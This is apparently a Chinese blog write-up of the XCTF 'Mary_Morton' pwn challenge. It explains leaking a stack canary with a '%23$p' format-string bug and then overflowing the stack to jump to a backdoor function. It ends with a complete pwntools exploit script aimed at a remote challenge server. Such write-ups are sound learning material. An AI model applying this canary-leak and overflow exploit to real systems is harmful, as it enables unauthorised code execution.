攻防世界Mary_Morton

64位程序,开启了canary和nx保护

 

执行以下,效果如下:

有提示:

输入1那块存在栈溢出

输入2那块存在格式化字符串漏洞

 

拖到ida看一下

main函数:

 

栈溢出的函数:

有canary保护,根据程序可以看出,v2应该就是canary的值,一开始,将_readfsqword(0x28u)的值给v2,后来又和v2做异或操作,只有v2与它还相等,程序返回0,否则返回不为零的数。

加入了canary后,栈帧情况如下图:

根据注释:buf在rbp-90h,v2在rbp-8h,所以,覆盖返回地址的话,需要0x90-0x8=0x88覆盖局部变量,然后放上canary的值,在8个“a”覆盖ebp,最后加上system的返回地址既可以。

 

格式化字符串漏洞函数:

攻击可以用栈溢出,但是缺少canary的值,可以用格式化字符串漏洞来泄漏,buf和v2的位置在两个函数里都一样

首先看下我们输入时候的偏移

%p可以泄露十六位的地址

可以数到,我们输入后的偏移为6

又因为,buf和v2本来的差距就有0x90-8h=0x88 0x88/0x8=0x11(十进制17)

所以,总共需要往后找17+6=23个地址上即存canary的值

 

在text段,找到后门函数(看下text段)

 

根据以上,可以写exp

#coding=utf-8
from pwn import *

context.log_level = 'debug'
p = remote('111.198.29.45',56161)

p.recvuntil("Exit the battle ")
p.sendline(str(2))#先进入格式化函数泄漏cannary
p.sendline("%23$p")#泄漏cannary
p.recvuntil("0x")
canary = int(p.recv(16),16)#接收16个字节

p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()

运行结果:

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

书文的学习记录本

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值